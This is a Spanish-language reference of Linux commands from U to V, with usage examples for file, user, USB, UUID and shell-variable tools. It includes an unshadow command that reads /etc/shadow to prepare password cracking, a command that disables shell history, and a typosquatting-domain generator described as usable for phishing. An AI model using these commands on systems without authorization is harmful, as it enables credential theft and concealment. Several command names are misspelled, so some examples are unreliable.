Algunos de los parámetros:

```
anonymous_enable=NO # si no queremos accesos anonimos
```

```
local_enable=YES # Permitir accesos locales autenticados
```

```
write_enable=YES # Permite escritura en el servidor
```

```
ftpd_banner=Entrando en el servidor ftp...
```

```
chroot_local_user=YES # Enjaular la conexión a su propio directorio personal
```

```
max_clients=5 # limitar a 5 los accesos simultaneos
```

## U

Nota.- Han de redigirirse los puertos 20 y 21 y el rango especificado en el archivo de configuración :

```
pasv_min_port=44000
```

```
pasv_max_port=44100
```

El cliente podrá conectarse al servidor via filezilla, gftp...

## unlink

Elimina un archivo especificado.

```
$ unlink archivo
```

## unoconv

Exporta todos los formatos soportados por openoffice/libreoffice a otros formatos como pdf, txt... creando un archivo con el mismo nombre de origen pero con la nueva extensión. Para una lista detallada consultar este enlace: <<http://dag.wieers.com/home-made/unoconv/>>

```
$ unoconv --show
Visualizar formatos soportados
```

```
$ unoconv -f xls archivo.csv
convertir un csv a xls
```

```
$ unoconv -f pdf *.odp *.odt
Convierte todos los .odt y .odp a pdfs
```

```
$ unoconv --format=txt document1.odt
convierte el documento a texto plano
```

```
$ unoconv --format=txt --stdout document1.odt > salida.txt
envia la salida al STDOUT para redireccionarla a un fichero cualquiera
```

## unopkg

Instalador de extensiones libreoffice por consola.

```
$ unopkg add -v extension.oxt
Instala para un usuario mmostrando toda la salida
```

```
$ unopkg add -f extension.oxt
Instala para todos los usuarios
```

```
$ unopkg add -s -f extension.oxt
Si la extension precisa aceptar licencia
```

```
$ unopkg list
Lista las instaladas
```

```
$ unopkg reinstall
```

```
$ unopkg remove extension.oxt
```

```
$ unopkg gui
abre en modo gráfico
```

## unp

Extractor universal de archivos comprimidos.

```
$ unp -s
Listado de formatos soportados
```

```
$ unp archivo.tar
descomprimir un archivo
```

## unrar

Descomprimir archivos rar.

```
$ unrar x archivo.rar
```

## unshadow

Herramienta para combinar los archivos passwd y shadow para que el comando "John de Ripper" pueda usarlos.

```
# unshadow /etc/passwd /etc/shadow > combine.txt
```

## unset

elimina variables locales o asigna NULL

```
$ unset HISTFILE; unset SAVEHIST
desactiva el historial de comandos
```

```
$ unset -f funcion
borrar una funcion
```

```
$ unset VAR
Eliminar una variable
```

## unsort

Reordena las líneas de un archivo de forma semialeatoria.

```
$ unsort -p archivo.txt
```

```
$ unsort -M archivo1.txt archivo2.txt
Uniendo en la salida los dos archivos
```

```
$ unsort -n archivo1.txt archivo2.txt
Mezcla las líneas de forma aleatoria sin alterar el orden
```

## until

Estructura muy parecida a while [until, do, done], pero con la forma de evaluar la condición al revés, es decir, se ejecuta mientras la condición sea falsa.

Algunos ejemplos:

1.-

Decrecer un contador hasta llegar a 5

```
#!/bin/bash
CONTADOR=10
until [ $CONTADOR -lt 5 ]; do
    echo "El contador a $CONTADOR"
    let CONTADOR-=1
done
2.-
```

```
#!/bin/bash
SALIR=si
until [ "$OPCION" = "$SALIR" ]
do
    echo "Pulsar teclas... "
    echo "(\"$SALIR\" para salir)"
    read OPCION
    echo "Pulsada la opción salir ($OPCION)"
    echo
done
```

## unzip

Descomprimir archivos zip.

```
$ unzip archivo.zip
```

```
$ unzip -v archivo.zip
Ver contenido
```

```
$ unzip -l archivo.odt
Ver contenido de un archivo odt
```

## update-alternatives

Modificar las aplicaciones por defecto cuando existen otras posibilidades

```
$ ls /etc/alternatives
Muestra todas las posibilidades
```

```
$ update-alternatives --list x-www-browser
muestra las alternativas al navegador por defecto
```

```
$ update-alternatives --display x-www-browser
Para ver, de las opciones, la utilizada
```

```
$ update-alternatives --config x-www-browser
Para modificarla
```

```
$ update-alternatives --config x-cursor-theme
Modificar el tema del cursor
```

```
$ update-alternatives --install /usr/bin/x-www-browser x-www-browser /usr/bin/firefox 100
Incluir en el listado una aplicación que no está
```

## update-binfmts

Las versiones 2.1.43 y posteriores del kernel de Linux han contenido el módulo `binfmt_misc`. Esto permite al administrador del sistema registrar intérpretes para varios formatos binarios en función de un número o su extensión de archivo y hacer que se invoque al intérprete apropiado cada vez que se ejecute un archivo coincidente. Piense en ello como una versión más flexible del `#!` ejecutable, o como algo que puede comportarse un poco como "asociaciones" en otros sistemas operativos aunque en GNU/Linux la tendencia es mantener este tipo de cosas en otro lugar, como en su administrador de archivos. `update-binfmts` gestiona una base de datos persistente de estos intérpretes.

```
# update-binfmts --package openjdk-6 --remove jar /usr/bin/jexec
eliminar el enlace de formatos binarios con openjdk-6
```

```
# update-binfmts --display
información sobre todos los formatos binarios y si están habilitados o deshabilitados
```

```
# update-binfmts --disable python3.11
deshabilitar un formato
```

## update-ca-certificates

Programa que actualiza el directorio `/etc/ssl/certs` para contener certificados SSL y genera certificados `ca-certificates.crt`.

```
# update-ca-certificates

# update-ca-certificates -f
actualizar
```

## update-catalog

Inserta, actualiza o elimina entradas en los catálogos centralizados de SGML [Standard Generalized Markup Language]. ISO 8879: 1986 es un estándar para definir lenguajes de marcado generalizados para documentos ubicado en `/etc/sgml`. Para cambiar el supercatálogo SGML ubicado en `/etc/sgml/catalog` modifique el contenido del directorio de `/etc/sgml` para que contenga nuevos archivos o enlaces simbólicos que tengan una extensión `cat` o elimine (o mueva) los catálogos existentes y regenere el catálogo.

```
# update-catalog --update-super
regenerar el catálogo
```

## update-cracklib

Crear una versión comprimida y acumulada de las listas de palabras almacenadas en los directorios proporcionados en el archivo de configuración de cracklib `/etc/cracklib/cracklib.conf`.

```
$ update-cracklib
```

## update-desktop-database

Herramienta para construir una base de datos de la caché de los tipos MIME manejados por archivos. La base de datos de caché contiene la lista de tipos MIME que pueden manejar los archivos , así como , para cada tipo MIME, una lista de archivos que pueden manejar este tipo MIME. Esta base de datos de caché facilita el trabajo de las aplicaciones que necesitan encontrar una aplicación que puede abrir un documento de un tipo MIME específico y así esas aplicaciones no tendrán que analizar todos los archivos existentes en el sistema y en su lugar pueden analizar esta base de datos de caché.

```
# update-desktop-database -v
```

## update-dlocatedb

Genera una lista del contenido del paquete en texto plano a partir de los archivos `/var/lib/dpkg/info/*.list`

```
# update-dlocatedb -p
actualizar solo la lista de archivos
```

## update-dictcommon-aspell

Esta secuencia reconstruirá la base de datos de aspell, así como las cosas de squirrelmail, jed y emacs. Según la página man existe esta nota: ADVERTENCIA: No debe usarse desde la línea de comando a menos que sepa muy bien lo que está haciendo.

```
$ update-dictcommon-aspell
```

## update-fonts-dir

Crear un archivo fonts.dir en el directorio de fuentes X Windows System [/usr/share/fonts/X11]. Normalmente se invoca solo desde los scripts posteriores a la instalación y posteriores a la eliminación de un paquete que contiene fuentes para X Window System, pero puede invocarse en cualquier momento para reconstruir el archivos fonts.dir [/usr/share/fonts/X11/100dpi/fonts.dir]. Solo es preciso el último componente de la ruta ["75dpi" "100dp" o "misc"], update-fonts-dir generará /usr/share/fonts/X11/100dpi/fonts.dir o /usr/share/fonts/X11/75dpi/fonts.dir desde los archivos de fuentes que se encuentran dentro de él. Esto permite que múltiples paquetes proporcionen nombres para las fuentes en el mismo directorio. Ningún paquete de fuente realmente proporciona el archivo fonts.dir en el directorio de las fuentes X Windows System, por lo que no hay peligro de sobrescribir los nombres de fuente de un paquete con los de otro.

```
# update-fonts-dir 75dpi
```

```
# update-fonts-dir 100dpi
```

## update-fonts-scale

Ensambla un archivo fonts.scale en un directorio de fuentes X utilizando uno o más archivos de escala que se encuentran en un subdirectorio de /etc/X11/fonts/.

```
# update-fonts-scale 75dpi
```

```
# update-fonts-scale Type1
```

## update-geoip-database

descarga la última versión de la base de datos MaxMind GeoIP Lite del sitio web MaxMind [/usr/share/GeoIP].

```
$ update-geoip-database
```

## update-grub

Actualiza el menú de arranque grub2

```
# update-grub2
```

## update-icon-caches

script para actualizar las cachés de iconos en una lista de directorios. En cada uno de los directorios pasados como argumentos, la caché de iconos se actualiza si ya está presente. No se crea si no existe ya.

```
$ gtk-update-icon-cache /usr/share/icons/gnome/
```

## update-ieee-data

Obtiene la versión actual de las listas OUI e IAB de IEEE Standards Association [IEEE-SA lleva desarrollando estándares durante más de un siglo a nivel mundial] y las instala si las versiones instaladas tienen más de 5 días. Esta utilidad requiere la instalación de curl, wget o libwww-perl.

```
# update-ieee-data
forma básica
```

```
# update-ieee-data -f
Forzar la actualización, incluso si el archivo tiene más de 5 días
```

## update-info-dir

Actualiza o crea el directorio del archivo de índice de la documentación disponible en /usr/share/info/ [el predeterminado] o en el DIRECTORIO dado. La información del archivo de índice es el directorio que generalmente presentan los navegadores de información al inicio.

```
# update-info-dir /usr/share/info/
```

## update-initramfs

Initramfs es un archivo cpio comprimido. En el momento del arranque, el kernel desempaqueta ese archivo en el disco RAM, lo monta y lo usa como raíz inicial del sistema de archivos.

```
# update-initramfs -u
actualizar un initramfs existente
```

```
# update-initramfs -c
crea un initramfs nuevo
```

```
# update-initramfs -d
elimina uno
```

```
# update-initramfs -c -k 4.9.0-4-amd64
crea uno nuevo con los datos especificados [k]
```

## update-locale

[base-pass]. Actualizar el archivo por defecto del idioma /etc/default/locale que puede hacerse manualmente o con:

```
$ update-locale LANG=ca_ES.UTF-8
```

## update-manager

Actualizar, en Ubuntu, a una nueva versión. Ver también do-release-upgrade.

```
# update-manager -d
antes de salir la version estable final
```

```
# update-manager -c
despues de salir la version estable final
```

## update-menus

Regenerar los menus de gnome.



## update-mime

Actualiza el archivo `/etc/mailcap` para reflejar la información mime modificada por un paquete Debian durante la instalación o desinstalación.

```
# update-mime
```

## update-mime-database

Al arrancar o en la instalación de paquetes puede salir mensajes del tipo:

```
Unknown media type in type 'all/all'
Unknown media type in type 'all/allfiles'
Unknown media type in type 'uri/mms'
Unknown media type in type 'uri/mmst'
Unknown media type in type 'uri/mmsu'
Unknown media type in type 'uri/pnm'
Unknown media type in type 'uri/rtspt'
Unknown media type in type 'uri/rtspu'
Para solucionar estos errores que no afectan al funcionamiento del sistema:
```

```
# rm /usr/share/mime/packages/kde.xml
```

```
# update-mime-database /usr/share/mime
```

## update-passwd

Actualiza `/etc/passwd`, `/etc/shadow` y `/etc/group` de forma segura.

```
# update-passwd -s
Realiza comprobaciones pero no hace nada
```

Algunas opciones:

```
-P fichero (Si no es el predeterminado /etc/passwd)
-S fichero (Si no es el predeterminado /etc/shadow)
-G fichero (Si no es el predeterminado /etc/group)
```

## update-pciids

Si al ejecutar `lspci` nos muestra un mensaje "unknown device" es preciso actualizar la lista del archivo `pci.ids` [`/usr/share/misc`]. Descarga la lista de la última versión del archivo `pci.ids` del sitio de la distribución principal y lo instala. Esta utilidad requiere `curl`, `wget` o `lynx` para ser instalado.

```
# update-pciids
```

## update-perl-sax-parsers

Inserta, actualiza y elimina archivos de información de módulos del analizador Perl SAX en el directorio `/var/lib/libxml-sax-perl/ParserDetails.d` y el archivo de información general de módulos `perl /etc/perl/XML/SAX/ParserDetails.ini`.

```
$ update-perl-sax-parsers --update
actualiza el archivo de información general de los módulos
```

```
$ update-perl-sax-parsers --add modulo
Agrega el archivo de información para el módulo indicado
```

```
$ update-perl-sax-parsers --remove modulo
Elimina el archivo de información del módulo indicado
```

## update-rc.d

Activar/desactivar aplicaciones o scripts en el arranque del sistema.

```
$ update-rc.d -f gdm remove
desactivarlo
```

```
$ update-rc.d gdm defaults
activarlo
```

```
$ update-rc.d script defaults
coloca un script en el arranque
```

## update-shells

Localiza los shells provistos por los paquetes de /usr/share/debianutils/shells.d y actualiza /etc/shells con shells recién agregados o eliminados. Para realizar un seguimiento de los cambios realizados por el administrador, consulta un archivo de estado en /var/lib/shells.state.

```
$ update-shell --verbose
mostrar las shells que se van a añadir o quitar
```

## update-system

Mantener un sistema Debian actualizado pero sin elementos acumulados como las bibliotecas obsoletas y purgar todos los paquetes que no están listados como dependencias de otro paquete.

```
# update-system
```

## update-usbids

[usbutils]. Si al ejecutar lsusb nos muestra un mensaje "unknown device" es preciso actualizar la lista del archivo /usr/share/misc/usb.ids. Descarga la última versión del archivo del sitio web y la instala. Esta utilidad requiere wget o lynx.

```
# update-usbids
```

## upower

[acpitool] Ver las propiedades de la batería. Para ver las baterías disponibles en el sistema:

```
$ upower --enumerate
/org/freedesktop/UPower/devices/line_power_AC
/org/freedesktop/UPower/devices/battery_BAT0
```

```
/org/freedesktop/UPower/devices/DisplayDevice
Nota.- /org no es un directorio físico, se tiene que llamar desde upower.
```

```
$ upower -i /org/freedesktop/UPower/devices/battery_BAT0
la capacidad
```

```
$ upower -v
Chequeo de la batería
```

## uptime

Tiempo transcurrido desde que se arrancó el sistema

```
$ uptime -s
Muestra día, hora, minuto y segundo que arranco el sistema
```

```
$ uptime -p
Muestra el tiempo transcurrido desde que arrancó el sistema
```

## uptimed

Daemon de registro del tiempo de actividad del sistema con especial seguimiento de los tiempos de actividad más altos.

```
# service uptimed status
ver estado del demonio
```

```
# uprecords
ver la tabla de registros
```

## urlcrazy

[ruby 1.8)]. <http://www.morningstarsecurity.com/research/urlcrazy> . Herramienta que genera posibles URLs de un dominio que podrían ser usados para ataques de phishing, malversing o fraudes varios.

```
$ ./urlcrazy
Muestra las opciones
```

```
$ ./urlcrazy -o paypal.txt paypal.com
Redirigiendo el resultado a un archivo
```

Otras opciones:

-p (Mostrar URL parecidas más populares según google)

-r (No resolviendo los nombre de dominio)

## urlview

Extraer las direcciones URL de archivos de texto.

```
$ urlview archivo.txt
```

## urlwatch

Comprueba si una página web ha sufrido cambios desde la última vez que se lanzó la aplicación. Configurar las URLs, una por línea en el archivo:

```
$ mkdir .urlwatch
```

```
$ nano .urlwatch/urls.txt
```

```
http://www.tuxapuntos.com
http://crontux.homelinux.com/wiki
http://systemadmin.es
```

```
$ urlwatch
Lanzar la aplicación
```

## usb-devices

[usbutils]. Script de shell que puede mostrar detalles de los buses USB en el sistema y los dispositivos conectados a ellos. El script está destinado principalmente para ser utilizado si el archivo /usb/devices no está disponible. A diferencia del archivo usb/devices este script solo muestra las interfaces activas (las marcadas con un "\*" en el archivo usb/devices).

```
$ usb-devices
```

## usb\_modeswitch

Configuración del modem Huawei. Editar:

```
# gedit /etc/usb_modeswitch.conf
```

```
EnableLogging=0
Y pegar el siguiente contenido:
```

```
# Huawei E1752
#
# Contributor:
DefaultVendor=0x12d1
DefaultProduct=0x1446
TargetVendor=0x12d1
TargetProduct=0x1417
MessageEndpoint=0x01
MessageContent="5553424300000000000000000000000011060000000000000000000000000000"
Verificar que el número de TargetProduct coincida con la salida de:
```

```
# lsusb
```

```
Bus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 004 Device 002: ID 0461:4d03 Primax Electronics, Ltd Kensington Mouse-in-a-box
Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 001 Device 006: ID 12d1:1417 Huawei Technologies Co., Ltd.
Bus 001 Device 003: ID 0402:5602 ALi Corp. Video Camera Controller
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Arrancarlo con alguno de los siguientes comandos:
```

```
# usb_modeswitch -v 12d1 -p 1417 -d 1
```

```
# usb_modeswitch -c /etc/usb_modeswitch.conf
```

## usbhid-dump

[usbutils]. Volcar descriptores de informe y flujos de interfaces HID de todos los dispositivos USB conectados.

```
$ usbhid-dump
básico
```

```
$ usbhid-dump -m 5543:0005 -es
Volcar flujo de informes para un dispositivo con ID de proveedor 0x5543 e ID de producto 0x0005
```

```
$ usbhid-dump -es
Volcar flujos de informes de todas las interfaces HID de todos los dispositivos USB [precaución:
perderá el control sobre el terminal si usa un teclado USB]
```

## usbmount

(+ autofs [demonio]). Automontar dispositivos de almacenamiento externo. Editar:

```
# nano /etc/usbmount/usbmount.conf
```

Y verificar/modificar según necesidades, las líneas:

```
MOUNTPPOINTS="/media/usb0 /media/usb1 /media/usb2 /media/usb3 /media/usb4 /media/usb5 /media/usb6 /
media/usb7"
```

```
FILESYSTEMS="vfat ext2 ext3 ext4 hfsplus"
```

```
MOUNTOPTIONS="sync,noexec,nodev,noatime,users,umask=000"
```

## usbttop

Muestra un ancho de banda instantáneo estimado en dispositivos y buses USB.

Cargar módulo:

```
# modprobe usbmon
# usbttop
lanzar la aplicación
```

## usbutils

Paquete que contiene varias utilidades para inspeccionar los dispositivos conectados al bus USB. Incluye los comandos `lsusb [ver]`, `usb-devices [ver]`, `usbhid-dump [ver]` y `usbreset`.

Primero ha de lanzarse:

```
$ lsusb
para conocer el bus y el device
```

...

```
Bus 001 Device 006: ID 0930:652a Toshiba Corp. TravelDrive
```

...

```
$ usbreset 001/006
con los datos anteriores [bbb/ddd], resetear un usb
```

```
$ usbreset 0930:652a
lo mismo pero con los datos ID de la salida lsusb
```

## uscan

Se ejecuta sin argumentos desde la raíz del árbol de fuentes donde se ve el directorio `debian/`, o un directorio que contiene varios árboles de fuentes.

```
$ uscan
```

## useradd

Crear usuarios.

```
# useradd -d /home/user -m user
Especifica la ruta a su $HOME
```

Otras opciones:

`-M usuario` (sin directorio `$HOME`)

`-g users user` (grupo principal al que pertenece el usuario)

`-e 20111231 user` (fecha de expiración de un usuario: 2011-12-31)

`-G video,audio user` (grupos adicionales a los que pertenece)

`-s /bin/bash` (especifica la shell del usuario)

`-s /sbin/nologin` (El usuario no podrá logearse en el sistema. Ideal para usuarios con acceso a Samba o FTP sin acceso al interprete de comandos)

`-u 503` (Identificador que sera asignado al usuario. Por defecto la UID será a partir del numero 500. Si no se especifica, automáticamente se establece el siguiente número disponible a partir del último usuario creado.)

## U

---

Un ejemplo completo:

```
# useradd -d /home/paco -g users -s /bin/bash -m paco
```

1.-

/etc/default/useradd

Archivo donde se definen los valores [shell, directorio del directorio personal, ID del grupo, expiración de la contraseña...] por defecto para la creación de nuevos usuarios [ver useradd y skel]

Algunos parámetros:

```
GROUP=100
HOME=/home
INACTIVE=-1
EXPIRE=
SHELL=/bin/sh
SKEL=/etc/skel
```

## userdel

Borrar usuarios

```
# userdel usuario
Elimina al usuario pero no su directorio personal
```

```
# userdel -r usuario
lo borra junto a su directorio $HOME
```

```
# userdel -f usuario
Borra al usuario y su directorio personal incluso aunque esté logeado en el sistema
```

## user-dirs.dirs

[archivo \$HOME/.config/user-dirs.dirs] Archivo donde se especifican los directorios que saldrán por defecto en el \$HOME:

XDG\_DESKTOP\_DIR=\$HOME/Escritorio

XDG\_DOWNLOAD\_DIR=\$HOME/Descargas

XDG\_TEMPLATES\_DIR=\$HOME/Plantillas

XDG\_PUBLICSHARE\_DIR=\$HOME/Público

XDG\_DOCUMENTS\_DIR=\$HOME/Documentos

XDG\_MUSIC\_DIR=\$HOME/Música

XDG\_PICTURES\_DIR=\$HOME/Imágenes

XDG\_VIDEOS\_DIR=\$HOME/Videos

## usermod

modifica propiedades de los usuarios [directorio base, el shell, grupos a los que pertenece, expiración, bloqueo/desbloqueo de la cuenta]

```
# usermod -G grupo1,grupo2 usuario
añade usuario a grupos
```

```
# usermod -a -G video usuario
incluye usuario al grupo video.
```

```
# usermod -e 2009-12-10 user (la cuenta de user expira el 20-12-09)vsftpd
```

```
# usermod -L usuario
Bloquea a usuario
```

```
# usermod -U usuario
Desbloquea a usuario
```

```
# usermod -u 999 usuario
baja el ID del usuario, normalmente 1000, para ocultarlo de la pantalla de login [gdm]
```

```
# usermod -s /sbin/nologin apache
Otorga al usuario apache una shell que no permite la ejecución de ningún comando
```

```
# usermod -l juan pedro
Cambiar el nombre de usuario pedro a juan
```

```
# usermod -d /home/nuevo -m usuario
modificar el nombre del directorio home de un usuario
```

## userpath

Herramienta para agregar ubicaciones personalizadas a la RUTA del usuario.

```
# userpath append /var/www/html
se agrega la ubicación especificada a la ruta del usuario
```

```
# userpath verify /var/www/html
comprobar si ha agregado
```

## users

Quien está conectado al sistema

```
$ users
ejecución básica
```

```
$ users | xargs -n1 echo | sort | uniq -c
número de sesiones abierta por los usuarios
```

## user-setup

Normalmente cuando se instala una distro, durante la instalación se crea un primer usuario. Si por alguna de las cosas poco probables, no se ha creado, con este paquete puede hacerse.

```
$ user-setup
```

## utorrent

Descarga de torrents. Previamente crear los directorios de descargas:

```
$ mkdir rtorrent
$ mkdir rtorrent/descargas
$ mkdir rtorrent/sesion vsftpd
$ mkdir rtorrent/torrents
```

Los torrents se colocan en la carpeta rtorrent/torrents para que al abrir la aplicación los coja directo. Crear un archivo de configuración:

```
$ touch .rtorrent.rc
```

Editarlo y pegar las siguientes entradas:

```
$ nano .rtorrent.rc
# Session directory
```

```
session = /home/USER/rtorrent/sesion
```

```
directory = /home/USER/rtorrent/descargas
```

```
schedule = watch_directory,5,5,load_start=/home/USER/rtorrent/torrents/*.torrent
```

```
# Port range to use for listening.
```

```
port_range = 55556-55560
```

```
# Maximum number of simultaneous uploads per torrent.
```

```
max_uploads = 5
```

```
# Global upload and download rate in KiB. "0" for unlimited.
```

```
#download_rate = 0
```

```
upload_rate = 50
```

```
# Maximum and minimum number of peers to connect to per torrent.
```

```
#min_peers = 40
```

```
max_peers = 80
```

```
# Same as above but for seeding completed torrents
```

```
-1 = same as downloading
```

```
min_peers_seed = 10
```

```
max_peers_seed = 30
```

Algunos atajos:

```
^ q (cierra la aplicación)
Flechas arriba y abajo (Selecciona torrents)
flecha derecha (Muestra información sobre el torrent seleccionado)
^ s (Inicia la descarga el torrent seleccionado)
^ d (para la descarga o, si está parada, suprime el torrent)
```

## uencode

[sharutils]. Algoritmo utilizado para convertir datos binarios de 8 bits a formato de 7 bits. La codificación uencoding se creó originalmente para enviar archivos binarios mediante el protocolo de correo electrónico uucp. Si no se especifica salida se muestra por pantalla (/dev/stdout)

```
$ uencode file1 file2 > file.uue
"file1": nombre del binario a codificar, "file2": Nombre que tendrá el binario una vez
descodificado [puede ser el mismo que el binario original] y "file.uue" el nombre que se verá en
el directorio.
```

```
$ udecode file.uue
Descodificar el binario. Se verá con el nombre puesto en "file2"
```



## uuid

Los UUID son números de 128 bits que pretenden tener una alta probabilidad de unicidad en el espacio y el tiempo y son computacionalmente difíciles de adivinar. Son identificadores únicos a nivel mundial que pueden generarse localmente sin contactar a una autoridad de registro global. Los UUID están pensados como identificadores únicos tanto para el etiquetado masivo de objetos con una vida útil extremadamente corta como para la identificación confiable de objetos muy persistentes en una red.

```
$ uuid -m
Fuerza el uso de una dirección MAC de multidifusión aleatoria
```

```
$ uuid -F STR
representación de cadena ASCII hexadecimal de 36 caracteres de un UUID
```

```
$ uuid -F SIV
representación de un valor entero único de 39 caracteres de longitud máxima de un UUID
```

```
$ uuid -v1
generar uuid de la versión 1 de uuid
```

```
$ uuid -d 8ce17124-a813-11ee-a715-8fccac721c4c
decodificar un UUID determinado
```

## uuidcdef

Genera un nuevo identificador uuid. [ver uuidgen]

## uuidd

Demonio utilizado por la biblioteca UUID para generar identificadores únicos universales de una manera segura y única garantizada, incluso frente a un gran número de subprocesos que se ejecutan en diferentes CPUs.

```
$ uuidd -p /tmp/uuidd.pid -s /tmp/uuidd.socket
Especificando ruta donde escribir el archivo pid y no creando un socket, sino esperando que lo proporcione el proceso
```

```
$ uuidd -d -r -n 42 -s /tmp/uuidd.socket
Ejecutar uuidd en modo de depuración, intentando conectarse a un demonio uuidd en ejecución y solicitarle que devuelva un UUID aleatorio, al emitir una solicitud de prueba a un uuidd en ejecución, solicitar una respuesta masiva de UUID numéricos y no creando un socket sino esperando que lo proporcione el proceso
```

```
$ uuidd -d -k -s /tmp/uuidd.socket
modo depuración, eliminar el daemon si se está ejecutando y esperando a que lo proporcione el proceso
```

## uuidgen

[uuid-runtime]. Crear nuevo valor uuid

```
$ uuidgen -r
Aleatorio
```

```
$ uuidgen -t
Crea un UUID basado en el reloj del sistema
```

## uuidparse

Utilidad para analizar identificadores únicos UUID.

```
$ uuiparse -J UUID
Utilizar el formato de salida JSON
```

```
$ uuiparse -r UUID
Utilizar el formato de salida raw
```

## uz

extrae un archivo tar comprimido con gzip. No es estrictamente necesario porque el programa tar [ver ] proporciona la misma capacidad.

```
$ uz archivo.tar
```

## uzbl-browser

[uzbl-tabbed)]. Navegador estilo vi. Arrancarlo con uzbl-tabbed para permitir pestañas.

```
$ nano .config/uzbl/config
archivos de configuración
```

Atajos:

```
j (descender en la página)
k (subir en la página)
h (ir a la izquierda de la página)
l (ir a la derecha de la página)
<< (ir al final de la página)
>> (ir al principio de la página)
o (abrir guión para entrar una url)
gg (abrir guión para entrar una búsqueda en google)
gh (página de inicio)
gn (abrir nueva pestaña en blanco)
go (abrir dirección en una nueva pestaña)
gt (ir a la siguiente pestaña)
gT (ir a la pestaña anterior)
gi+2 (ir a la pestaña 2)
w (abrir nueva ventana)
b (volver a la página anterior)
u (favoritos)
U (historial)
Esc (anular)
S (stop)
ZZ (Cerrar pestaña /cerrar ventana / salir de uzbl)
r (actualizar página)
R (actualizar página desde la caché)
/ (Guión para entrar una búsqueda en la página)
n (ir a la búsqueda siguiente)
N (ir a la búsqueda anterior)
```

---

## V

---

### validlocale

Comprobar si una configuración regional determinada está disponible.

```
$ validlocale ca_ES.UTF-8

locale 'ca_ES.UTF-8' valid and available
```

### variables

Existen dos tipos de variables:

Variables locales (tiene valor únicamente dentro de nuestra shell)

Variables globales (disponibles para todos los procesos invocados por la shell)

Al ejecutar un script la línea de comandos introducida se guarda en unas variables especiales que podemos referenciar:

\$0
Nombre del comando

\$1
Primer argumento

\$2
Segundo...

\$@
Todos los argumentos introducidos, separados por espacios

\$#
Número de argumentos

\$\$
identificador del proceso

\$?
(Cuando finaliza la ejecución de un proceso, \$? será cero (0) si se ejecuta correctamente y distinto de cero si se ha producido algún error. Es muy usual guardar su valor en una variable VAR=?) para su posterior uso.

Para declarar una variable sólo se precisa asignarle un valor. Nunca el valor puede preceder a la variable. No se ponen espacios ni antes ni después del signo igual. El nombre puede contener caracteres alfabéticos (A-Z, a-z), numéricos (0-9) o el guión bajo `_`. El primer carácter no puede ser un número o contener otros signos (`2DIR`, `.DIR`, `-VAR...`)

DIR="/var/www"
También puede asignarse a partir del contenido de un fichero:

\$ firma=\$(cat firma.txt)
Puede asignarse a la salida de un comando encerrado entrecomillas graves:

```
WHO='who | awk '{print$2}'`
O entra parentesis antecedido por el signo dollars ($):
```

```
WHO=$(who | awk '{print$2}')
Variables introducidas por el teclado:
```

```
echo "Como te llamas"
read NOMBRE
Puede especificarse un tiempo (en segundos) de espera para entrar lo solicitado (-t):
```

```
read -t 10 -p "¿Nombre y apellido? " NOMBRE APELLIDO
Para definir variables numéricas se utiliza el comando let:
```

```
let A=100
let B=200
let C=$A+$B
Si al llamar a una variable, esta va seguida de un carácter que sea otra letra, numero o el guión
normal o bajo, La encerraremos entre llaves '{}':
```

```
ARCHIVO="registro"
echo "${ARCHIVO}_2011.txt"
registro_2011.txt
Cuando bash encuentra en una palabra el signo "$" todo lo que va a continuación se considera el
nombre de una variable y todos los caracteres desde el "$" hasta el final de la palabra son
sustituidos por dicha variable:
```

```
COSA="camastro"
echo "ca$COSA"
camastro
Otra forma de entrar variables es mostrando un prompt:
```

```
$ read -p "palabra> " PALABRA
Si no indicamos nombre de variable, lo ingresado se guarda en la variable REPLY:
```

```
read
juan jose pedro
$ echo $REPLY
juan jose pedro
Modificar parte de una variable:
```

```
a="Linux es un sistema genial"
echo ${a/geni/brut}
Linux es un sistema brutal
Algunas de la variables globales:
```

```
$HOME (ruta del directorio home del usuario)
$PATH (directorios donde se encuentran los ejecutables)
$TERM (nombre de la terminal)
$BASH (ruta del interprete bash )
$PWD (directorio actual)
$USER (Usuario)
$HOSTNAME (Nombre del equipo)
$HISTFILE (ruta para el histórico de comandos ejecutados)
$UID (Número de usuario para el sistema)
$RANDOM (números aleatorios entre 0 y 32767)
```

## vbetoool

Herramienta para apagar y encender la pantalla de un portatil (backlight)

```
# vbetoool dpms off
Apaga la pantalla
```

```
# vbetoool dpms on
Enciende la pantalla
```

## vdir

Equivalente a `ls -l`.

## verse

Muestra un verso de la Biblia en cada inicio de sesión. Cada día se asigna un versículo de la versión King James de la Biblia [en inglés].

## vfu

Gestor de archivos. Configuración en /home/USUARIO/.vfu/vfu.conf

```
$ vfu -d /usr/local -i
Especificando directorio y de forma interactiva
```

```
$ vfu
Abre el presente directorio
```

Algunos atajos:

```
c (Copiar)
Enter (entrar en un directorio o abrir documento)
e (Eliminar)
g (Seleccionar/deseleccionar todo)
i (Editar archivo. Por defecto usa joe. Modificar en el archivo de configuración)
h (Muestra las teclas de ayuda)
n (Buscar)
Flecha derecha (Renombrar)
q (Salir)
```

## vglconnect

Crear conexión para el uso de VirtualGL entre la máquina cliente y la remota (la que ejecutará las aplicaciones OpenGL). Funciona como una conexión SSH pero con la redirección de aplicaciones gráficas activada.

```
$ vglconnect usuario@1.2.3.4
```

## vglrun

Ejecuta aplicaciones utilizando las librerías de VirtualGL

```
$ vglrun programa
```

```
$ vglrun -q 70 programa
Baja la calidad de los JPG enviados entre la máquina remota y la local
```

## video

1.- Descargar video flash:

Iniciar la reproducción del vídeo.

```
$ lsof |grep Flash
```

```
chromium- 15931 lb 25u REG 8,2 2422656 656146 /tmp/FlashXXYX9waY (deleted)
```

Los datos que interesan son: 15931 y 25. Sin cerrar la página del vídeo y una vez finalizada su carga copiarlo:

```
$ cp /proc/15931/fd/25 video.flv
```

## videoob

[webood (ver)]. Visualización y descarga de videos. Para activar nuevos módulos (youtube, vimeo...) ver weboob.

```
$ videoob
Entrar en el prompt
```

videoob> search porn (Buscar videos relacionados con "porn")

videoob> info 3 (Información sobre el marcado con el número 3 en el listado anterior)

videoob> play 3 (Reproduce el número 3)

videoob> download 3 (Descarga el número 3 en el directorio actual)

videoob> quit (Salir del prompt)

videoob> download 3 video.mp4 (Descarga el número 3 en el directorio actual renombrandolo video.mp4)

## videotop

